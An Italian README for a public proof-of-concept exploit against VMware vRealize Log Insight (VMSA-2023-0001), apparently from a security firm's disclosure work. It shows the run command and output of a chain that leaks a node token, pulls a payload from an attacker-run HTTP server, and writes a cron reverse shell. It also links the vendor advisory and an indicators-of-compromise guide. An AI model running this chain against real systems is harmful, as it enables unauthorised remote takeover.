horizon3ai/vrealizeloginsightrcePOC per RCE utilizzando le vulnerabilità descritte in VMSA-2023-0001
POC per VMSA-2023-0001 che interessa VMware vRealize Log Insight e include le seguenti CVE:
La configurazione predefinita di questa vulnerabilità scrive un cron job per creare una
reverse shell. Assicurati di modificare il file payload per adattarlo al tuo ambiente.
Un'analisi tecnica della causa principale della vulnerabilità è disponibile sul nostro blog: https://www.horizon3.ai/vmware-vrealize-log-insight-vmsa-2023-0001-technical-deep-dive
Per analizzare le istanze di Log Insight alla ricerca di indicatori di compromissione, consulta il nostro blog sugli IOC: https://www.horizon3.ai/vmware-vrealize-cve-2022-31706-iocs/
Questo POC abusa dei vari endpoint Thrift RPC per ottenere una scrittura arbitraria di file.
$ python3 VMSA-2023-0001.py --target_address 192.168.4.133 --http_server_address 192.168.4.60 --http_server_port 8080 --payload_file payload --payload_path /etc/cron.d/exploit
[+] Using CVE-2022-31711 to leak node token
[+] Found node token: f261d2f5-71fa-45fd-a0a0-6114a55a8fb8
[+] Using CVE-2022-31704 to trigger malicious file download
192.168.4.133 - - [30/Jan/2023 16:43:41] "GET /exploit.tar HTTP/1.1" 200 -
[+] File successfully downloaded
[+] Using CVE-2022-31706 to trigger directory traversal and write cron reverse shell
[+] Payload successfully delivered
Se utilizzi un payload basato su cron, assicurati che il file del payload abbia i permessi e il proprietario appropriati:
sudo chown root:root payload
sudo chmod 0644 payload
Aggiorna all'ultima versione o mitiga seguendo le istruzioni contenute nel VMSA https://www.vmware.com/security/advisories/VMSA-2023-0001.html
Questo software è stato creato esclusivamente per scopi di ricerca accademica e per lo sviluppo di tecniche difensive efficaci, e non è destinato a essere utilizzato per attaccare sistemi se non esplicitamente autorizzato. I manutentori del progetto non sono responsabili dell'uso improprio del software. Usalo in modo responsabile.